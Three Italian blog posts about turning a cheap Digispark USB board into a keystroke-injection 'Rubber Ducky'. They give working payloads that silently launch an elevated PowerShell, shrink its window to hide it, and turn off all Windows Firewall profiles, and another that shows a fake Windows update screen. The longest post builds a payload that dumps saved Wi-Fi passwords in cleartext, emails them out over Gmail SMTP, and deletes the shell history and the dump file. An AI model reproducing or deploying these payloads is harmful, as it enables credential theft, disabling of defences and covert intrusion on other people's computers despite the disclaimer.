Visualizzazione post con etichetta Rubber Ducky. Mostra tutti i post
Visualizzazione post con etichetta Rubber Ducky. Mostra tutti i post

domenica 27 settembre 2020

Digispark, Disattivare Windows Firewall

Il payload che mostrerò in questo articolo consente di disattivare il firewall di Windows.

Digispark Kickstarter
FIG 1 - Digispark Kickstarter

ATTENZIONE:
Danneggiare/violare un sistema informatico (anche da remoto) rappresenta un reato penale. Le informazioni presenti in quest'articolo vanno utilizzate solo per testare/verificare sistemi di cui si è titolari. Declino ogni responsabilità civile e penale derivante da un utilizzo non legale delle informazioni presentate in questo articolo a solo scopo didattico.


Windows Firewall è composto da tre profili diversi (dominio, privato e pubblico) ciascuno con le proprie regole/impostazioni. 

Per visualizzare lo stato dei tre profili di Windows Firewall baste eseguire il seguente comando dal Prompt dei comandi
netsh advfirewall show allprofiles

L'output sarà analogo a quello mostrato in FIG 2 in cui tutti e tre profili sono attivi (ON). Dopo l'esecuzione del nostro payload lo stato dei tre profili sarà OFF.

Windows Firewall, Stato Profili
FIG 2 - Windows Firewall, Stato Profili

Per disattivare tutti i profili di Windows Firewall andremo ad eseguire il seguente comando con privilegi elevati
netsh advfirewall set allprofiles state off  

Per la predisposizione dell'ambiente di sviluppo e installazione dei driver della scheda Digispark è possibile fare riferimento all'articolo Creare una Rubber Ducky economica con una scheda Digispark.

Il codice del payload è il seguente.

#include "KeyboardIT.h"
void setup() {
}
void loop() {
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(500);
  //mostra desktop
  DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  // start->Esegui
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  DigiKeyboard.print("powershell Start-Process powershell -Verb runAs");
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(5000);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
  DigiKeyboard.delay(5000);
  DigiKeyboard.print("mode con:cols=14 lines=1 ");
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);  
  DigiKeyboard.delay(500);    
  DigiKeyboard.print("netsh advfirewall set allprofiles state off");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(5000);
  DigiKeyboard.print("Exit");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);  
  for(;;){ /*empty*/ }
}

Con l'istruzione
DigiKeyboard.print("powershell Start-Process powershell -Verb runAs")
viene avviata una sessione PowerShell come amministratore. Per evitare che chi è seduto dinanzi al PC veda il comando digitato, viene ridotta la dimensione della finestra con l'istruzione
DigiKeyboard.print("mode con:cols=14 lines=1 ");
Successivamente vengono disabilitati tutti i profili di Windows Firewall con 
DigiKeyboard.print("netsh advfirewall set allprofiles state off");


Per caricare il payload sulla scheda Digispark:
  • Scaricare il file Digispark_ Turn_Off_Windows_Firewall.zip dal seguente link 
    DOWNLOAD
  • Scompattare il file e cliccare 2 volte sul file Digispark_ Turn_Off_Windows_Firewall.ino per aprirlo nell'IDE Arduino;
  • Cliccare sul tasto carica per compilare e caricare il programma sul dispositivo. Quando richiesto, collegare la scheda Digispark e attendere il caricamento del programma.

Digispark, Disattiva profili di Windows Firewall
FIG 3 - Digispark, Disattiva profili di Windows Firewall


Terminato il caricamento, la scheda è pronta per essere usata. Collegandola ad un PC con sistema operativo Windows 7/8/10 verrà eseguita la disattivazione di tutti i profili di Windows Firewall.



lunedì 7 settembre 2020

Digispark, Visualizzare una finta schermata di aggiornamento del sistema operativo

Il payload oggetto di questo articolo relativo alle Rubber Ducky realizzate con schede Digispark non fa altro che visualizzare una finta schermata di aggiornamento del sistema operativo. Sul sito https://fakeupdate.net/ sono presenti schermate di aggiornamento di diversi sistemi operativi. In questo caso, dovendo simulare una schermata di aggiornamento relativa a Windows 10, la scelta è ricaduta su https://fakeupdate.net/win10ue/.

Digispark Kickstarter
FIG 1 - Digispark Kickstarter

ATTENZIONE:
Danneggiare/violare un sistema informatico (anche da remoto) rappresenta un reato penale. Le informazioni presenti in quest'articolo vanno utilizzate solo per testare/verificare sistemi di cui si è titolari. Declino ogni responsabilità civile e penale derivante da un utilizzo non legale delle informazioni presentate in questo articolo a solo scopo didattico.

Vediamo in dettaglio il payload e come caricarlo sulla scheda Digispark. Per l'installazione/configurazione dell'ambiente di sviluppo, per le informazioni sulla scheda Digispark e per l'installazione dei driver rimando all'articolo Creare una Rubber Ducky economica con una scheda Digispark.

Il codice del payload è il seguente:

#include "KeyboardIT.h"

void setup() {
}

void loop() {
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(500);
  //mostra desktop
  DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  // start->Esegui
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  DigiKeyboard.print("iexplore -k https://fakeupdate.net/win10ue/");
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  for(;;){ /*empty*/ }
}

L'istruzione principale è 
DigiKeyboard.print("iexplore -k https://fakeupdate.net/win10ue/");
che apre in Internet Explorer la pagina https://fakeupdate.net/win10ue/ a schermo intero. Per uscire dalla modalità schermo intero basta premere il tasto F11 o premere la combinazione ALT+F4 per chiudere la finestra.

Per caricare il payload sulla scheda Digispark i passaggi da seguire sono del tutto analoghi a quelli già visti negli articoli precedenti:
  • Scaricare il file Digispark_Fake_Update.zip dal seguente link 
    DOWNLOAD
  • Scompattare il file e cliccare 2 volte sul file Digispark_Fake_Update.ino per aprirlo nell'IDE Arduino;
  • Cliccare sul tasto carica per compilare e caricare il programma sul dispositivo. Quando richiesto, collegare la scheda Digispark e attendere il caricamento del programma.
Digispark, payload Fake Update
FIG 2 - Digispark, payload Fake Update


Terminato il caricamento, la scheda è pronta per essere usata. Collegandola ad un PC con sistema operativo Windows 7/8/10 verrà aperta una sessione di Internet Explorer a schermo intero che mostra la finta e interminabile schermata di aggiornamento.






lunedì 30 settembre 2019

Creare una Rubber Ducky economica con una scheda Digispark

La Rubber Ducky è una particolare pendrive USB che viene riconosciuta dai sistemi come una normale tastiera. Il dispositivo contiene, generalmente all'interno di una scheda micro SD, script che vengono eseguiti non appena collegato ad una porta USB del computer. Le Rubber Ducky vengono spesso utilizzate per il pentesting allo scopo di automatizzare la digitazione/esecuzione di comandi e hanno un costo che si aggira sui 45$. Tramite la porta USB il dispositivo può essere connesso praticamente a tutti i PC e le sue ridotte dimensioni ne consentono anche un utilizzo fraudolento.
In questo articolo verrà mostrato come preparare una Rubber Ducky economica spendendo pochi euro utilizzando una scheda Digispark.
Digispark Kickstarter
FIG 1 - Digispark Kickstarter
ATTENZIONE:
Danneggiare/violare un sistema informatico (anche da remoto) rappresenta un reato penale. Le informazioni presenti in quest'articolo vanno utilizzate solo per testare/verificare sistemi di cui si è titolari. Declino ogni responsabilità civile e penale derivante da un utilizzo non legale delle informazioni presentate in questo articolo a solo scopo didattico.

Digispark Kickstarter è una piccola scheda di sviluppo USB basata sul microcontroller ATtiny85 simile a quello montato su Arduino Uno ma più piccolo, economico e meno potente. Il microcontroller è collegato direttamente alla presa USB, la tensione viene regolata tramite il regolatore MC78M00 che, se raffreddato adeguatamente, può fornire in output 500mA. La scheda può essere programmata tramite l'IDE di Arduino. Le caratteristiche principali della scheda sono: 
  • Supporto per Arduino IDE 1.0+ (OSX / Win / Linux)
  • Alimentazione tramite USB o sorgente esterna - 5v o 7-35v (consigliato 12v o meno, selezione automatica)
  • Regolatore con uscita 5V - 500mA
  • Integrato USB incorporato
  • 6 pin I / O (2 usano solo USB se il programma comunica attivamente tramite USB, altrimenti è possibile utilizzare tutti i 6 pin anche se si sta programmando tramite USB)
  • 8k Memoria Flash (circa 6k dopo il bootloader)
  • I2C e SPI
  • PWM su 3 piedini (altri con Software PWM)
  • ingresso ADC su 4 pin
  • LED di alimentazione e LED di stato

Digispark Kickstarter Pinout
FIG 2 - Digispark Kickstarter Pinout

Come visibile in FIG 2 , tutti i pin possono essere usati come I/O digitali.





Installazione manuale driver

Affinché la scheda venga riconosciuta dal sistema per la programmazione è necessario scaricare e installare manualmente i driver.
  • Scaricare i driver da https://github.com/digistump/DigistumpArduino/releases/download/1.6.7/Digistump.Drivers.zip oppure da QUI;
  • Scompattare il file .zip ed eseguire il file Install Drivers.exe (a seconda della versione a 32 o 64 bit del sistema operativo verrà installata la relativa versione del driver);
  • Nella finestra Installazione guidata driver di periferica cliccare su Avanti;
    Installazione guidata driver Digispark
    FIG 3 - Installazione guidata driver Digispark
  • Nella finestra successiva selezionare la casella Considera sempre attendibile il software proveniente da "Digistump LLC" e cliccare su Installa;
    Installazione driver Digispark
    FIG 4 - Installazione driver Digispark
  • Al termine dell'installazione verrà visualizzata la finestra mostrata in FIG 5. Cliccare su Fine per terminare.
    Installazione driver Digispark completata
    FIG 5 - Installazione driver Digispark completata




Installazione IDE Arduino

Per la programmazione della scheda Digispark è necessario utilizzare l'IDE Arduino:
  • Da https://www.arduino.cc/en/main/software scaricare Arduino IDE;
  • Avviata l'installazione accettare le condizioni della licenza mostrata nella prima schermata cliccando su I Agree;
    Installazione IDE Arduino, accettazione licenza
    FIG 6 - Installazione IDE Arduino, accettazione licenza
  • Nella schermata successiva accettare le impostazioni suggerite cliccando su Next;
    Installazione IDE Arduino, selezione componenti
    FIG 7 - Installazione IDE Arduino, selezione componenti
  • Accettare il percorso di installazione dell'IDE e cliccare su Install per avviare l'installazione del software;
    Installazione IDE Arduino, selezione del path di installazione
    FIG 8 - Installazione IDE Arduino, selezione del path di installazione
  • Nelle finestre successive selezionare la casella Considera sempre attendibile il software proveniente da "......" e cliccare sul pulsante  Installa;
    Installazione IDE Arduino, installazione software/driver
    FIG 9 - Installazione IDE Arduino, installazione software/driver
  • Al termine dell'installazione cliccare su Close.

    Installazione IDE Arduino completata
    FIG 10 - Installazione IDE Arduino completata




Configurazione IDE Arduino e test Digispark Kickstarter 

  • Avviare l'IDE quindi dal menu File selezionare Impostazioni;
    Arduino IDE
    FIG 11 - Arduino IDE
  • Nella casella URL aggiuntive per il Gestore schede digitare, se non già presente, l'indirizzo http://digistump.com/package_digistump_index.json e cliccare su OK;
    Arduino IDE, Impostazioni
    FIG 12 - Arduino IDE, Impostazioni
  • Dal menu Strumenti selezionare Scheda: quindi cliccare su Gestore schede...;
    Arduino IDE, Gestore Schede
    FIG 13 - Arduino IDE, Gestore Schede
  • Nella casella denominata Tipo selezionare Fornito da terzi quindi, dall'elenco, selezionare il pacchetto Digitump AVR Boards e cliccare su Installa;
    Arduino IDE, Gestore schede
    FIG 14 - Arduino IDE, Gestore schede
  • Terminata l'installazione chiudere la finestra Gestore schede e selezionare Digispark (Default - 16.5mhz) dal menu Strumenti -> Scheda.
    Arduino IDE, Scheda Digispark (Default - 16.5mhz)
    FIG 15 - Arduino IDE, Scheda Digispark (Default - 16.5mhz) 

Adesso che l'ambiente di sviluppo è stato configurato è possibile testare la scheda utilizzando uno degli esempi presenti all'interno dell IDE.
  • Dal menu File selezionare Esempi quindi Digispark_Examples;
  • Dall'elenco selezionare il progetto Start;
    Arduino IDE, Digispark Examples
    FIG 16 - Arduino IDE, Digispark Examples
  • Premere il pulsante di caricamento. Il codice verrà compilato e nella barra di stato dell'IDE verrà richiesto di collegare il dispositivo Digispark per il caricamento (se già collegato, scollegarlo e ricollegarlo);
    Arduino IDE, Compilazione e caricamento codice
    FIG 17 - Arduino IDE, Compilazione e caricamento codice
  • Inserire il dispositivo Digispark ed attendere il caricamento del codice. Al termine del caricamento il led sulla scheda inizierà a lampeggiare con la frequenza di 1Hz (ossia 1 volta al secondo).


Da questo momento il programma è caricato all'interno del dispositivo, basterà collegarlo ad una fonte di alimentazione e, dopo qualche secondo, verrà eseguito il codice caricato. Il ritardo nell'esecuzione del codice (generalmente di 5 secondi) è dovuto al controllo eseguito dal dispositivo per verificare se si sta tentando di programmarlo.



Programmazione Digispark Kickstarter per rubare credenziali Wi-Fi

Con i passaggi sopra indicati abbiamo programmato e testato il dispositivo ma la funzione di accendere e spegnere il led serve a poco.

Di seguito andremo a programmare la Digispark per rubare le password Wi-Fi quando viene connessa ad un PC con sistema operativo Windows 10 e inviarle ad un nostro account di posta. 

Per la dimostrazione utilizzerò un account Gmail. Per utilizzare questo tipo di account è necessario abilitare l'accesso alle app meno sicure nelle impostazioni dell'account ciò abbasserà la sicurezza della casella di posta elettronica pertanto consiglio di effettuare l'operazione su una mailbox "di servizio". Per attivare tale impostazione:
  • Dalla pagina web di Google accedere al proprio account;
  • Accedere alla pagina https://myaccount.google.com;
  • Cliccare sulla sezione Sicurezza (sul lato sinistro della schermata);
  • Nella sezione Accesso app meno sicure cliccare su Attiva accesso (sconsigliato);
    Gmail, Accesso app meno sicure
    FIG 18 - Gmail, Accesso app meno sicure
  • Dallo slider abilitare l'opzione Consenti app meno sicure;
    Gmail, Consenti app meno sicure
    FIG 19 - Gmail, Consenti app meno sicure
  • Scaricare dal seguente link il file Digispark_Wi-Fi_pwd_to_email.zip
    DOWNLOAD
  • Scompattare il file. Cliccare 2 volte sul file Digispark_Wi-Fi_pwd_to_email.INO per aprirlo nell'IDE Arduino.
  • All'interno del file sostituire:
    - INDIRIZZO_GMAIL_MITTENTE con l'indirizzo Gmail che vogliamo utilizzare per l'invio dei dati;
    - PASSWORD con la password dell'account Gmail con il quale inviamo;
    - INDIRIZZO_EMAIL_DESTINATARIO indirizzo email a cui vogliamo recapitare i dati rubati.
  • Cliccare sul tasto carica per compilare e caricare il programma sul dispositivo. Al termine della procedura basterà collegare il dispositivo per meno di 30 secondi ad un PC Windows 10 per rubare le credenziali Wi-Fi.
Digispark, codice programma
FIG 20 - Digispark, codice programma


Analisi del programma

Come indicato all'inizio dell'articolo, il dispositivo Digispark viene riconosciuto dal sistema operativo come una tastiera. Per la programmazione non facciamo altro che passare al dispositivo i tasti da digitare in modo da scrivere ed eseguire comandi al posto nostro.
Il linguaggio di programmazione utilizzato per programmare Arduino (e le schede basate su di esso) è il Wiring. Si tratta di un linguaggio di programmazione piuttosto semplice che consente la definizione di costanti, definizione di variabili e l'utilizzo di librerie esterne.
In questa parte dell'articolo andremo ad analizzare il contenuto del file Digispark_Wi-Fi_pwd_to_email.INO che rappresenta il programma principale.

La prima riga che ritroviamo è
#include "KeyboardIT.h"
Con questa istruzione viene caricata la libreria KeyboardIT.h nella quale è contenuta la mappatura dei tasti della tastiera italiana. 
Successivamente ritroviamo la procedura void setup.
void setup() {
}
Tale procedura, presente in tutti i programmi Arduino, viene utilizzata per impostare le porte presenti sulla scheda (input/output) ed eseguire comandi una sola volta non appena il dispositivo viene collegato. Si tratta di funzioni che per il nostro scopo non sono necessarie pertanto la procedura è vuota.

La procedura void loop() 
void loop() {
contiene le istruzioni del programma che vengono eseguite ciclicamente (in loop) ovvero quando si arriva alla fine il programma riparte dall'inizio.

Con l'istruzione
DigiKeyboard.sendKeyStroke(0);
viene simulata la pressione di un tasto. Con sendKeyStroke(), utilizzato anche in altri punti del programma, viene simulata la pressione di un tasto o di un gruppo di tasti (separati da virgola). Il nome dei tasti passati al metodo si basa sulla mappatura presente all'interno della libreria KeyboardIT.h.


DigiKeyboard.delay(500);
L'istruzione inserisce un ritardo, specificato in millisecondi tra parentesi, prima di eseguire l'istruzione successiva.

Il blocco di istruzioni successivo
  DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_A);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} 
   | %{(netsh wlan show profile name=$name key=clear)}  | Out-File wifi.txt; exit"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(3000);

simula la combinazione di tasti Windows+X che, in Windows 10, apre il menu contestuale del tasto Start. Successivamente viene simulata la pressione del tasto A che nella versione aggiornata del sistema operativo Microsoft e nel menu contestuale aperto in precedenza corrisponde all'avvio di Windows PowerShell (amministratore)(FIG 21). Per rispondere affermativamente alla finestra del Controllo dell'account utente, viene utilizzato sendKeyStroke(KEY_S, MOD_ALT_LEFT) che corrisponde alla combinazione ALT+S.
Windows 10, Windows PowerShell (amministratore)
FIG 21 - Windows 10, Windows PowerShell (amministratore)

Il metodo DigiKeyboard.print consente di stampare/scrivere a video (in questo caso all'interno della finestra PowerShell) il comando che gli viene passato. Il comando verrà eseguito con l'istruzione successiva DigiKeyboard.sendKeyStroke(KEY_ENTER) che simula la pressione del tasto Invio. Nel nostro caso netsh wlan show profiles visualizza tutti i profili Wi-Fi presenti sulla macchina quindi, per ognuno, viene visualizzata la password in chiaro con il comando netsh wlan show profile name=$name key=clear. L'output viene rediretto all'interno del file wifi.txt.

A questo punto, nel blocco successivo,
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(3000);
  DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_A);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print(F("$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; 
   $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('INDIRIZZO_GMAIL_MITTENTE', 'PASSWORD'); 
   $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = 'INDIRIZZO_GMAIL_MITTENTE';
   $ReportEmail.To.Add('INDIRIZZO_EMAIL_DESTINATARIO'); $ReportEmail.Subject = 'Credenziali reti Wi-Fi :)'; 
   $ReportEmail.Body = 'In allegato le credenziali. '; $ReportEmail.Attachments.Add('wifi.txt'); 
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);

viene avviato nuovamente Windows PowerShell (amministratore). Con New-Object Net.Mail.SmtpClient viene creata l'email con in allegato il file wifi.txt contenente le password e inviata con la digitazione del tasto Invio presente nell'istruzione successiva.

Nel blocco finale andiamo a cancellare le tracce.
  DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_A);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print(F("del (Get-PSReadlineOption).HistorySavePath;exit"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("cmd");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.print(F("del wifi.txt"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(100);
  DigiKeyboard.print(F("exit"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER)
  for(;;){ /*empty*/ }

Viene eliminata la cronologia dei comando PowerShell e il file wifi.txt.